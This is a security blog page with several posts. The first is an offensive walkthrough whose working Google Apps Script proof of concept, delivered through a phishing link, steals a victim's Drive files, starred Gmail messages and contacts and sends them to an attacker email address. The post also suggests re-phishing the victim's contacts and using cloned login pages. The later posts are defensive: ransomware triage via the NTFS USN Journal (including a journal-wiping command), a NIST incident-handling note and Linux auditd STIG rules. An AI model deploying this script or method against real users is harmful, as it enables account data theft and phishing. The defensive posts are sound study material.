Monday, February 27, 2017

Abusing Google App Scripting Through Social Engineering

I recently joined a new company (hooray) and have had the opportunity thus far to start thinking more heavily about a few topics that are, I suppose, newer to me.

Most of this focus has been on Google Apps for Business, but generally speaking, we've been thinking about many different challenges that are posed by large enterprises adopting cloud solutions. Often these services lack; functionality required at the enterprise level (sometimes something basic such as logging of a particular event), inter-operability with other cloud services (leading to the rise of CASB tools), and a reactive API driven approach to security and monitoring. Although many CASB solutions offer API driven monitoring of a great variety of services, this is by it's nature a reactive or detective approach.

The recent Cloudflare edge server vulnerability disclosed by Tavis Ormandy is a great example of a type of risk posed by wide-spread adoption of the 'cloud'. This isn't to say that I think the cloud is inherently insecure, or that I'm arguing against it's adoption. Quite the contrary. The economic drivers supporting cloud adoption are difficult (at best) to argue against, and that alone is sufficient justification for the business to modify internal IT practice.

However, it is important to recognize that structural changes brought about by the widespread adoption of something 'new' and shiny, can often lead to blind spots in our understanding of how it can be abused.

If we think of hacking or information security attacks as goal driven endeavors that commonly have an end state of data theft, or data destruction, than we have to acknowledge that the means by which we accomplish these tasks can vary significantly. Typically, this would require exploiting some sort of web application vulnerability and reading tables from a back end database. In recent years, the PowerShell Empire tool has included a number of fantastic scripts that allow you to hunt across file shares for sensitive data. There are a variety of exfiltration methods available to an attacker.

So .....
You'd probably say stop it with the memes and get to the point Greg. Ok, fine.

With some clever social engineering, and abuse of Google App Scripts, you can accomplish exactly this. Please keep in mind, this post is focusing specifically on Google Apps for Business users or personal Gmail users.

What are Google App Scripts?
Google App Scripts is essentially a Javascript (although the file extension is designated '.GS') based cloud scripting language that allows you to automate tasks across the range of Google services. There are a number of feature-rich APIs for accessing Gmail, Drive, Calendar, Contacts, etcetera. 

For first time users, if you browse to script.google.com you'll be presented with the web UI for developing GS scripts. The detailed API reference manual can be found here. There are several ways to utilize App Scripts. They can be embedded in a Google Sheet or a Google Doc. But what I am most interested in is the ability to 'Deploy as Web App'. Why? It specifically has to do with the permission set.
The permissions for a web app differ depending on whether you choose to execute the app as the owner of the script or as the active user who is accessing the web app.
If you choose for the script to execute as you, then the script will always execute under your identity, that is, the identity of the owner of the script. This will be the case regardless of which user is accessing the web app.
If you choose for the script to execute as the user who accesses the web app, then the script will execute under the identity of the active user who is accessing your script.
That last part (italicized), is the crucial element. After you have written your Google App Script, and you want to Deploy it, you can specify that the script executes as the user accessing the page like so:
Now, whenever a user visits this link they will be presented with a permissions acceptance dialog prompt that varies depending on the type of functionality we build into our Google App Script:

Followed By:
I view this as the equivalent of 'enable macros'. Sure, an educated and aware user may stop at these prompts and realize that something is amiss. However, for a lot of users, they aren't going to necessarily recognize anything bad here. This is a google.com domain requesting permissions, the application itself is hosted and served by google. If the phishing lure is convincing enough, you can guarantee that many users will happily accept these warnings. Google does not provide any warning that the script could be from a third party or that it may in fact be malicious. The dialogue boxes do not 'feel' security related. Like many things in security, it comes down to user awareness.

So - what exactly can we do once the user clicks allow? I've written up a PoC to demonstrate some use-cases and I'll walk through these below. Do we get code execution? No. But again, if our goal is access to/destruction of data, does it matter how we achieve that, especially in a world where our perimter is porous and infrastructure design is increasingly cloud/service based? Moreover, use of this technique can be extremely powerful in extracting sensitive information from an organization that can be used for highly targeted follow up attacks that may increase the likelihood of successful exploitation. From a reconnaissance perspective, this takes Phishing to the next level (you aren't just getting, for example, User-Agent settings, now you can get actual internal data from the organization).
  • Create your application entry point. Since we are going to deploy this as a Web Application we need a doGet or doPost handler routine.
// Application Entry Point
// Application published to web requires doGet or doPost
function doGet(e) {
  var params = JSON.stringify(e);
  drivePassSearch();
  gmailKeySearch();
  contactsRePhish();
  return HtmlService.createHtmlOutput('Index');
}
  • You can see we call the drivePassSearch function first. This will search through the victims Google Drive shares for file names matching a key word and steal them. This function creates a publicly available RWX folder in the users Drive account. You can apparently disable this for Google Apps for Business users although I believe everything is very 'open' by default. Not sure if personal users have any such capability. 
  • It searches for files on Drive that match our search criteria, records their name and location, makes a copy of the file in the public Drive share, and then emails a publicly accessible link to this share back to our attacker email address.
  • What are some use cases here? You can construct a search query for sensitive files housed on Drive. I've seen several organizations migrate entire file shares or Sharepoint deployment to Drive with all sorts of sensitive data. Look for PDFs, DOCX, XLSX files. You can search in the filename or inside the content of the document as well. It is also possible to use logical operators
    • 'fullText contains SOMETHING'
    • 'title contains SOMETHING'
    • 'and (mimeType contains 'image/' or mimeType contains 'video/')
  • Try searching for file name containing .cer, .pem, .der, .crt, .pub, id_rsa, .docx, .pdf, .vsd, .nessus, .dit, password, etc - Get Creative!
function drivePassSearch() {
  
  var folder = DriveApp.createFolder('Evil Folder');
  folder.setSharing(DriveApp.Access.ANYONE, DriveApp.Permission.EDIT);
  var files = DriveApp.searchFiles(
     'modifiedDate > "2013-02-28" and title contains "SEARCHTERM"');
 while (files.hasNext()) {
   var file = files.next();
   Logger.log(file.getDownloadUrl());
   Logger.log(file.getUrl());
   Logger.log(file.getName());
   var name = file.getName();
   file.makeCopy(name,folder);
   Logger.log(file.getDownloadUrl());
   Logger.log(file.getUrl());
   
 }
  • Now we take the data recorded by Logger and send it in an email back to our attacker email address. The message will come from the victim.
  Logger.log(folder.getUrl());
  var recipient = "ATTACKEREMAIL";
  var subject = 'Google Drive Query';
  var body = Logger.getLog();
  MailApp.sendEmail(recipient, subject, body);
  
  • If the organization has disabled publicly accessible Drive shares then you can use this workaround. Instead of uploading all files to this world-accessible Drive share, you can instead attach the file as a Blob to an email and send it to your attacker email address. 
  • This message will come from the victim user account. 
  • Warning: if your search term finds multiple files, it will send each one in a separate email. There are limits to how many emails a single account can send in a day.
  
  var file = DriveApp.getFilesByName('SEARCHTERM');
  var fileBlob = file.next().getBlob();
  if (file.hasNext()) {
    MailApp.sendEmail(recipient,'Google Drive search - Attached Files','Attached file matched a search term during Google Drive app script search.',{attachments: [fileBlob], name: file.next().getName()})
  }
  
   Logger.clear();

}

  • Next - we want to steal emails
  • Similarly we construct a search against GmailApp. The search term specified in that function is the same format as Gmail searches you are used to doing (link).
  • This function will search through all mail, and if it finds a message matching the search criteria, it will forward it to our attacker email address.Use cases; forward all emails with an attachment, forward all emails with the word confidential, forward all emails that are starred, etc
function gmailKeySearch() {
  
  var threads = GmailApp.search('subject:SEARCHTERM');
  for (var h = 0; h < threads.length; h++) {
    var messages = threads[h].getMessages();
    for (var i = 0; i < messages.length; i++) {
      if (messages[i].isStarred())
      {
        Logger.log(messages[i].getSubject());
        var subject = messages[i].getSubject();
        Logger.log(messages[i].getBody());
        var body = messages[i].getBody();
        Logger.log(messages[i].getId());
        var id = messages[i].getId();
        MailApp.sendEmail({
          to: "ATTACKEREMAILADDRESS",
          subject: subject,
          htmlBody: body,
       }); 
          }
      }
    }
}

  • Lastly, we mine the contacts database for information, composite a list of contacts, and send it back to our attacker email address.
  • Why? Attackers can use this to target additional individuals within the organization, construct bigger email spam lists, and just generally it's good to compile more information about your target.

function contactsRePhish() {
  
  var contacts = ContactsApp.getContacts();
  
  // Only pulling name and primary email, many other fields to extract from
  
  for (var i=0; i<contacts.length; i++) {   
    var name = contacts[i].getFullName();    
    var email = contacts[i].getPrimaryEmail();
    Logger.log("Name: "+name+" Email: "+email);
  }

  var recipient = "ATTACKEREMAILADDRESS";
  var subject = 'Full List of Contacts';
  var body = Logger.getLog();
  MailApp.sendEmail(recipient, subject, body);
  
  Logger.clear();  

}
  • Keep in mind - with the example above we could have the victim user send an email from their account, to each of their contacts, asking them to click a link, or fill in information on a phishing website we have constructed. This is a great way to internally re-phish other users in an extremely convincing manner.
I'm sure people much smarter than myself could come up with other use cases. A few I haven't had time to explore; permanently delete all mail, permanently delete all Drive files, upload malicious files to drive, and create triggers to setup a recurring task.

Lastly, at the end of our doGet(e) application handling function, we return an object "HtmlService.createHtmlOutput('Index')". Index refers to an HTML file that we are passing to this object. The HTML file can be created in the script editor UI by going to File -> New -> HTML file. You can place whatever content in this HTML file to support your Phishing scenario (I'd suggest HTTrack to clone a web page from your target, perhaps a Citrix/RAS login page). You can have it look a BeEF JS hook, post form fields (such as passwords) out to listening web servers under your control, etc. The best part of the 'deploy as web app' option is that we can actually deploy a functional web application in addition to all of the core data search and exfiltration functionality.

This isn't the first I've heard of Google App Script 'abuse'. There are a number of malware researchers who have published articles about Carbanak abusing Google App Scripts to host C2 infrastructure. But I have yet to see or read about Google App scripting abuse in a social engineering context.

Edit: A friend sent me a link to a post from Andrew Cantino back in 2014, appears to be the first mention of this issue http://blog.andrewcantino.com/blog/2014/09/08/example-of-poor-security-communication-in-google-auth-flow/. Kudos to Andrew for identifying this issue and raising it with Google. I think it needs more attention/discussion.

For full code sample go here: https://github.com/gregkcarson/GoogleAppScriptSE

Thanks, and feedback is welcome as per usual.

Monday, November 21, 2016

Ransomware IR with PowerForensics and the USN Journal

Well it's certainly been a while since I made a post!

I last blogged in February about Malware analysis and you can find that post here. http://www.redblue.team/2016/02/a-soft-introduction-to-malware-analysis.html. My thanks go to Dave and Abdul for keeping content coming while I was slacking. It's hard to believe the year is almost over. It was a pretty busy one for me, I changed roles, changed companies, and moved across the country. I'll use that as my excuse for being too lazy to write anything :)

I also wanted to say thanks to everyone who has viewed this blog. In the last year or so, we've managed to accumulate over 100,000 views! Honestly, the sole intent of starting this site was to document our own study efforts but we've had good feedback and hope to share content more consistently in the new year. This field is changing rapidly, and the scope of knowledge is constantly expanding. Hopefully we can help you feel a little less overwhelmed!

For this post, I wanted to document an experience I had on a recent investigation and share some thoughts about how I tackled this challenge, to hopefully benefit your investigations. Specifically, we'll be looking at; Ransomware, live Incident Response using PowerForensics, and the USN Journal.

So let's dig in.

Our Scenario

Customer ABC requested assistance investigating a suspected case of Ransomware. An end user reported that file extensions had changed and they could no longer open documents. They also received a note demanding payment. The organization is curious to identify the source of the infection.

However there are two primary complications (both of which may be readily encountered in the real world). 
  1. The users browser history is gone (either wiped by malware or by the user themselves - they may have been browsing inappropriate content and are concerned about the IT staff identifying this).We aren't concerned about recovering this data, we want to look for an alternate method to investigate the infection.
  2. The company does not retain centralized logs, nor do they have an adequate local firewall log retention policy. There are no web browsing/firewall logs to obtain. This is of course, a finding in and of itself, but again, our focus here is working around these limitations

In a typical situation, carving browser history, and retrieving proxy/firewall logs would likely be sufficient in identifying malicious traffic but for this post we are assuming it is not available. It's important to have a variety of options when performing digital forensics and incident response. Conditions will often be less than ideal to it's important to find creative alternatives.

For this scenario we will primarily use a single tool to perform live Forensics on the compromised system, PowerForensics (from DFIR guru Jared Atkinson). This is an extremely powerful forensics framework composed of PowerShell (version 2 and higher) scripts that we can use to accomplish common DFIR tasks. Jared has an installation walk through but I found some of the subtle nuances of it weren't addressed in detail so I'd like to cover that here.

Note: Forensic best practices would advise you to take a complete, forensically sound, write-blocked image of the system, if possible, prior to executing any actions. You should always analyze an image and avoid working on a live system if it is confirmed as compromised. In this post we are performing live triage as it is being done in a 'lab' environment and for convenience sake. Depending on the situation, analyzing live systems may be entirely acceptable and preferred but this is completely circumstantial and is based on the complexity and potential legal outcomes of your investigation (and authorization of your superiors/client).

Tool Setup

On the infected machine:
  1. Download PowerForensics: https://github.com/Invoke-IR/PowerForensics.
  2. Right-Click the ZIP file, check unblock, click apply. This is required to properly install this module.
  3. Open a PowerShell command prompt as administrator.
  4. Run the command 'Set-ExecutionPolicy Unrestricted'
    1. If you have issues here consult this blog post: https://blogs.msdn.microsoft.com/pasen/2011/12/07/set-executionpolicy-windows-powershell-updated-your-execution-policy-successfully-but-the-setting-is-overridden-by-a-policy-defined-at-a-more-specific-scope/
  5. Close and re-open the PowerShell prompt as administrator
  6. Make note of your PowerShell version using the following command:
    $PSVersionTable.PSVersion
    This is important as you will need to use PowerForensicsv2 depending on the installed version of PowerShell. For example, Windows Server 2008 has version 2 of PowerShell installed by default.
  7. Now you need to identify your User Module Path. Use the following command:
    $Env:PSModulePath
    [Environment]::GetEnvironmentVariable("PSModulePath")
    This should print out a path to a series of PowerShell modules folder. There may be a series of paths but you can use one similar to: C:\Users\<username>\Documents\WindowsPowerShell\Modules
  8. The path identified above is where you need to unzip PowerForensics too. Remember, if your system is running PowerShell version2, unzip PowerForensicsV2 to that location.
    Note: It looks like the latest version bundles in v2 so you should be able to handle different versions in-line. You may not need to worry about unzipping the correct version.
  9. Now you can use the following commands to import PowerForensics and view the available functions it comes packaged with:
    Get-Module -ListAvailable -Name PowerForensics
    Import-Module PowerForensics
    Get-Command -Module PowerForensics

Background

There are lots of fantastic modules that Jared has built, but in particular we'll be using the "Get-ForensicUsnJrnl" command. You can pass it a path using the VolumeName switch to retrieve USN artifacts for a specific volume. Use the Get-Help module to obtain usage syntax for each cmdlet (Get-Help Get-ForensicUsnJrnl).

Why are we concerned with this specific cmdlet? To answer that we need a bit of background.

NTFS is a Microsoft proprietary file system, that is to say it is responsible for keeping track of and managing files on disk. As computing requirements have grown more complex, file system standards have evolved to meet those needs and have expanded to include a variety of different features such as hard links, alternate data streams, and so on. 

The USN Journal is a feature of NTFS which maintains a record of changes made to a specified volume. Each volume maintains a USN Journal log. The USN Journal is a system metafile, and can not be viewed in a regular directory listing. On most systems it is enabled by default as Windows uses it for a number of core system operations (like file replication services). When NTFS objects are added, changed, or deleted, an entry is recorded in the USN Journal for a respective volume. This log does not contain enough information to 'reverse' a change, it is simply a record of activity that includes the type of change, the file object impacted.

Each USN entry is a data structure of the following format (Note: there are 3 different USN structure formats depending on the version of Windows you are running, the one described below is the oldest format, however they are all pretty similar):

typedef struct {
  DWORD         RecordLength;
  WORD          MajorVersion;
  WORD          MinorVersion;
  DWORDLONG     FileReferenceNumber;
  DWORDLONG     ParentFileReferenceNumber;
  USN           Usn;
  LARGE_INTEGER TimeStamp;
  DWORD         Reason;
  DWORD         SourceInfo;
  DWORD         SecurityId;
  DWORD         FileAttributes;
  WORD          FileNameLength;
  WORD          FileNameOffset;
  WCHAR         FileName[1];
} USN_RECORD_V2, *PUSN_RECORD_V2, USN_RECORD, *PUSN_RECORD;

There are several important fields here, namely; FileName, Reason, Usn, TimeStamp, FileReferenceNumber.

The reason field in particular records a flag that corresponds with 20+ different possible NTFS operations such as:
  • USN_REASON_BASIC_INFO_CHANGE
  • USN_REASON_CLOSE
  • USN_REASON_DATA_OVERWRITE
  • USN_REASON_FILE_CREATE
  • USN_REASON_FILE_DELETE
These operations are fairly self-explanatory. 

The USN Journal is of value to our analysis because browser operations create temporary files when accessing pages. These temporary files record Journal entries. This means that even if we lose our firewall/proxy logs and browser history, there may still be a way to identify what actions occurred at the time frame in question.

Note: It is possible to, as with anything, tamper with forensic evidence and as such an attacker could theoretically purge the USN Journal using the following command: fsutil usn deletejournal /d c:
Similarly, CCleaner/PrivaZer/etc may also clear MFT/USN Journal records. Detecting the presence of those tools may be possible through alternative artificats such as AMCache or Prefetch files.

Analysis

Keep one thing in mind - when you are dealing with the USN Journal you will be dealing with hundreds of thousands, if not millions of records. Determining what happened can be a time consuming effort so it is extremely important to narrow your focus down to a very small time frame (possibly an hour or two).

In our scenario, we are dealing with a a Ransomware infection, which typically leaves a ransom note on the desktop. We can perhaps use this to narrow our time frame.

Using PowerForensics we can pull out the MFT record for this file:
File Name: !MADEUPFILENAME.html
Master File Table Record Index: 24151
MFT Entry for Index 24151:
FullName             : C:\Users\greg\Desktop\!MADEUPFILENAME.html
Name                 : !MADEUPFILENAME.html
SequenceNumber       : 32
RecordNumber         : 24151
ParentSequenceNumber : 2
ParentRecordNumber   : 22060
Directory            : False
Deleted              : False
ModifiedTime         : 3/12/1601 1:17:27 PM
AccessedTime         : 3/12/1601 1:17:27 PM
ChangedTime          : 6/8/2016 1:27:40 AM
BornTime             : 3/12/1601 1:17:27 PM
FNModifiedTime       : 6/8/2016 1:27:40 AM
FNAccessedTime       : 6/8/2016 1:27:40 AM
FNChangedTime        : 6/8/2016 1:27:40 AM
FNBornTime           : 6/8/2016 1:27:40 AM

There are some discrepancies here between the FN and SI time stamps which may be due to stomping. However the $FN attributes accurately reflect an infection time of 6/8/2016 1:27:40 AM UTC. This is converted to 6/7/2016 6:27:40 PM EST which is roughly when the user asserts they noticed an issue.

But this might not be the first instance in which malware started executing, as the ransom note is usually dropped after file system encryption routine has been completed. We know that after each file is encrypted, the extension is changed to .crypz in our scenario. Consequently, we also can assert that the time of compromise would have to have happened just prior to the first file extension being renamed. We are essentially working backwards through the attack lifecycle.


  1. Ransom Note HTML file dropped
  2. Files encrypted, extension changed
  3. Malicious payload executed
  4. Malicious payload dropped
  5. Exploit kit successful exploitation
  6. Browser instantiates Flash/JS to execute vulnerability
  7. Web page redirect to malicious landing page

So, we can constrain our review of the USN Journal to the first instance of .crypz minus 30 minutes to be safe. It is also useful to grep on specific extensions such as .js, .zip, .exe, .dll, .swf, .htm, and others that may be involved in the attack lifecycle to further constrain your data set.

Using this technique I was able to identify the following sequence of events:
VolumePath               : \\.\C:
Version                  : 2.0
RecordNumber             : 33080
FileSequenceNumber       : 28
ParentFileRecordNumber   : 206296
ParentFileSequenceNumber : 97
Usn                      : 4743722112
TimeStamp                : 6/8/2016 1:22:51 AM
Reason                   : DATA_EXTEND, FILE_CREATE, CLOSE
SourceInfo               : 0
SecurityId               : 0
FileAttributes           : ARCHIVE, NCI
FileName                 : (REDACTEDWEBPAGE).jpg

VolumePath               : \\.\C:
Version                  : 2.0
RecordNumber             : 33299
FileSequenceNumber       : 209
ParentFileRecordNumber   : 206165
ParentFileSequenceNumber : 763
Usn                      : 4743722424
TimeStamp                : 6/8/2016 1:22:51 AM
Reason                   : FILE_CREATE
SourceInfo               : 0
SecurityId               : 0
FileAttributes           : ARCHIVE, NCI
FileName                 : dsF5h3S[1].htm

VolumePath               : \\.\C:
Version                  : 2.0
RecordNumber             : 33707
FileSequenceNumber       : 106
ParentFileRecordNumber   : 899
ParentFileSequenceNumber : 21
Usn                      : 4743725296
TimeStamp                : 6/8/2016 1:22:51 AM
Reason                   : FILE_CREATE
SourceInfo               : 0
SecurityId               : 0
FileAttributes           : 8208
FileName                 : aojwoejfi.obtainwhite.top

VolumePath               : \\.\C:
Version                  : 2.0
RecordNumber             : 33303
FileSequenceNumber       : 620
ParentFileRecordNumber   : 244618
ParentFileSequenceNumber : 3
Usn                      : 4743722896
TimeStamp                : 6/8/2016 1:22:51 AM
Reason                   : FILE_CREATE
SourceInfo               : 0
SecurityId               : 0
FileAttributes           : ARCHIVE, NCI
FileName                 : truck-yield-damage-objection-journey-punish-dizzy-sl

                           ide-argument[1].swf

The HTM file was recovered from the file system, essentially when loaded it redirects to the obtainwhite.top domain which instantiates the SWF flash object. The randomized sub-domain (as well as odd TLD '.top), and randomized SWF file name are both highly suspect.

Not surprisingly the SWF flash object was ZLIB compressed. After unpacking, it was obviously an Exploit Kit landing page used to exploit some older (2014) browser vulnerabilities. The ransomware variant was a much newer iteration at the time.

Virustotal results (almost 6 months later) are somewhat discouraging for this domain:
https://www.virustotal.com/en/url/fce8be210eecf3088d1436a627fd29893872e1e8ae04f2385dcdc92b66cede02/analysis/

Registrant information for this domain:
Updated Date: 2016-06-08T00:20:29Z Creation Date: 2016-06-08T00:09:59Z Registry Expiry Date: 2017-06-08T00:09:59Z Sponsoring Registrar: Alpnames Limited Sponsoring Registrar IANA ID: 1857 Domain Status: clientTransferProhibited https://www.icann.org/epp#clientTransferProhibited Registrant ID: alp_54912665 Registrant Name: Clive Hoetnez Registrant Organization: N/A Registrant Street: N/A Registrant City: Smallvile Registrant State/Province: Arkansas Registrant Postal Code: 43547 Registrant Country: US Registrant Phone: +1.447898 Registrant Phone Ext: Registrant Fax: Registrant Fax Ext: Registrant Email: zizsdcqe@6paq.com

6paq is a random temporary email provider.

Conclusion

I didn't really want to cover much else specifically in this post. This is really only one component of an investigation of this type. There are a number of other artifacts and avenues you would want to go down to draw broader conclusions about your case. Mostly, my intent was to demonstrate some of the thought process in tackling a fairly common problem with a somewhat creative solution and demonstrate the importance of this quality in DFIR work. Hopefully you learned something from this post, please feel free to leave comments as usual.

Thursday, October 20, 2016

Computer Security Incident Handling Guide - A presentation based off of the NIST paper

A few years ago during an interview at Mandiant I was asked to create a presentation based on the NIST Computer SecurityIncident Handling Guide, a good primer on incident handling that I would recommend every NetSec  professional to read.

Although the presentation is light in description, the basic outline remains. If the content interests you I would highly recommend reading the NIST report.










Tuesday, July 26, 2016

Audit Logging Configuration for the Linux Environment

One challenge to performing a proper incident investigation is dealing with missing event logs. Part of a healthy SOC posture is ensuring that you have the proper audit logging settings to ensure that you log what is needed tomorrow.

Windows has a very well defined audit policy, but when I was trying to find an audit policy for the Linux audit system I found it much more difficult than expected. One excellent resource I found is the Defense Information Systems Agency (DISA)'s Security Technical Implementation Guide (STIG) for Red Hat Enterprise Linux 6, which can be found here, and the STIG Viewer can be found here.

To open the STIG, open the JAR file by double clicking on it (or running java -jar <filename> from the CLI.) Next, go to file --> Import STIG and traverse to the STIG file location. Next, change the file extension box from XML to ZIP:
The RHEL STIG will open with 236 security-based rules that outline how the Department of Defense audits their RHEL systems to ensure that they adhere to their security standards, and I would highly recommend going through it if you manage a RHEL system. But today we will be focusing on the RHEL audit configuration recommendations. Enter the word audit in the Filter window pane of the STIG viewer (I typically don't push enter as I find that this works better.) From there you should filter for rules that contain the word, well, audit
The Linux system uses the auditd service to create and log audit events within the system. The first step is to ensure that the auditd service is enabled:
# systemctl is-active auditd.service 
Active: active (running) since Tue 2015-01-27 19:41:23 EST; 22h ago
Next, the auditd service uses the audit.rules configuration file to determine what actions to audit. Details on the CentOS audit configuration file can be found on Digital Ocean's tutorials here and here. As for what to audit, the STIG recommends that we run a search on the file system to find all programs with execution function capabilities and add them to the audit configuration file. To find relevant setuid and setgid programs, use the following command once for each local partition:
find / -xdev \( -perm -4000 -o -perm -2000 \) -type f | awk '{print "-a always,exit -F path=" $1 " -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged" }'
This outputs a series of audit configuration parameters that can be placed in the /etc/audit/rules.d/audit.rules file to ensure that using said commands/binaries is a logged event. An example output for my Linux box shows:
-a always,exit -F path=/usr/bin/wall -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/bin/chage -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/bin/newgrp -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/bin/chfn -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/bin/write -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/bin/chsh -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/bin/mount -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/bin/at -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/bin/su -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/bin/umount -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/bin/passwd -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/bin/sudo -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/bin/gpasswd -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/bin/pkexec -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/bin/crontab -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/bin/locate -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/bin/ssh-agent -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/bin/staprun -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/sbin/pam_timestamp_check -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/sbin/unix_chkpwd -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/sbin/netreport -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/sbin/usernetctl -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/sbin/userhelper -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/sbin/postdrop -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/sbin/postqueue -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/lib/polkit-1/polkit-agent-helper-1 -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/lib64/dbus-1/dbus-daemon-launch-helper -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/libexec/utempter/utempter -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/libexec/openssh/ssh-keysign -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
-a always,exit -F path=/usr/libexec/abrt-action-install-debuginfo-to-abrt-cache -F perm=x -F auid>=1000 -F auid!=4294967295 -k privileged
Going through the rest of the STIG shows eight categories of audit logging settings that I have pasted into this very pretty and convenient table:
Log Group Activity Audit Trigger Details
1
System time alteration settimeofday -a always,exit -F arch=b32 -S settimeofday -k audit_time_rules -a always,exit -F arch=b64 -S settimeofday -k audit_time_rules
stime -a always,exit -F arch=b32 -S stime -k audit_time_rules -a always,exit -F arch=b64 -S adjtimex -S settimeofday -S clock_settime -k audit_time_rules
clock_settime -a always,exit -F arch=b32 -S clock_settime -k audit_time_rules -a always,exit -F arch=b64 -S clock_settime -k audit_time_rules
localtime -w /etc/localtime -p wa -k audit_time_rules
2
Account Changes group -w /etc/group -p wa -k audit_account_changes
passwd -w /etc/passwd -p wa -k audit_account_changes
gshadow -w /etc/gshadow -p wa -k audit_account_changes
shadow -w /etc/shadow -p wa -k audit_account_changes
opasswd -w /etc/security/opasswd -p wa -k audit_account_changes
3
Network Modifications sethostname -a always,exit -F arch=B32 -S sethostname -S setdomainname -k audit_network_modifications -a always,exit -F arch=B64 -S sethostname -S setdomainname -k audit_network_modifications
issue -w /etc/issue -p wa -k audit_network_modifications
issue.net -w /etc/issue.net -p wa -k audit_network_modifications
hosts -w /etc/hosts -p wa -k audit_network_modifications
network -w /etc/sysconfig/network -p wa -k audit_network_modifications
4
Mandatory Access Control (MAC) configuration (SELinux) MAC-policy -w /etc/selinux/ -p wa -k MAC-policy
5
High Priority Commands chmod -a always,exit -F arch=b32 -S chmod -F auid>=500 -F auid!=4294967295 -k perm_mod -a always,exit -F arch=b32 -S chmod -F auid=0 -k perm_mod -a always,exit -F arch=b64 -S chmod -F auid>=500 -F auid!=4294967295 -k perm_mod -a always,exit -F arch=b64 -S chmod -F auid=0 -k perm_mod
chown -a always,exit -F arch=b32 -S chown -F auid>=500 -F auid!=4294967295 -k perm_mod -a always,exit -F arch=b32 -S chown -F auid=0 -k perm_mod -a always,exit -F arch=b64 -S chown -F auid>=500 -F auid!=4294967295 -k perm_mod -a always,exit -F arch=b64 -S chown -F auid=0 -k perm_mod
fchmod -a always,exit -F arch=b32 -S fchmod -F auid>=500 -F auid!=4294967295 -k perm_mod -a always,exit -F arch=b32 -S fchmod -F auid=0 -k perm_mod -a always,exit -F arch=b64 -S fchmod -F auid>=500 -F auid!=4294967295 -k perm_mod -a always,exit -F arch=b64 -S fchmod -F auid=0 -k perm_mod
fchmodat -a always,exit -F arch=b32 -S fchmodat -F auid>=500 -F auid!=4294967295 -k perm_mod -a always,exit -F arch=b32 -S fchmodat -F auid=0 -k perm_mod -a always,exit -F arch=b64 -S fchmodat -F auid>=500 -F auid!=4294967295 -k perm_mod -a always,exit -F arch=b64 -S fchmodat -F auid=0 -k perm_mod
fchown -a always,exit -F arch=b32 -S fchown -F auid>=500 -F auid!=4294967295 -k perm_mod -a always,exit -F arch=b32 -S fchown -F auid=0 -k perm_mod -a always,exit -F arch=b64 -S fchown -F auid>=500 -F auid!=4294967295 -k perm_mod -a always,exit -F arch=b64 -S fchown -F auid=0 -k perm_mod
fchownat -a always,exit -F arch=b32 -S fchownat -F auid>=500 -F auid!=4294967295 -k perm_mod -a always,exit -F arch=b32 -S fchownat -F auid=0 -k perm_mod -a always,exit -F arch=b64 -S fchownat -F auid>=500 -F auid!=4294967295 -k perm_mod -a always,exit -F arch=b64 -S fchownat -F auid=0 -k perm_mod
fremovexattr -a always,exit -F arch=b32 -S fremovexattr -F auid>=500 -F auid!=4294967295 -k perm_mod -a always,exit -F arch=b32 -S fremovexattr -F auid=0 -k perm_mod -a always,exit -F arch=b64 -S fremovexattr -F auid>=500 -F auid!=4294967295 -k perm_mod -a always,exit -F arch=b64 -S fremovexattr -F auid=0 -k perm_mod
fsetxattr -a always,exit -F arch=b32 -S fsetxattr -F auid>=500 -F auid!=4294967295 -k perm_mod -a always,exit -F arch=b32 -S fsetxattr -F auid=0 -k perm_mod -a always,exit -F arch=b64 -S fsetxattr -F auid>=500 -F auid!=4294967295 -k perm_mod -a always,exit -F arch=b64 -S fsetxattr -F auid=0 -k perm_mod
lchown -a always,exit -F arch=b32 -S lchown -F auid>=500 -F auid!=4294967295 -k perm_mod -a always,exit -F arch=b32 -S lchown -F auid=0 -k perm_mod -a always,exit -F arch=b64 -S lchown -F auid>=500 -F auid!=4294967295 -k perm_mod -a always,exit -F arch=b64 -S lchown -F auid=0 -k perm_mod
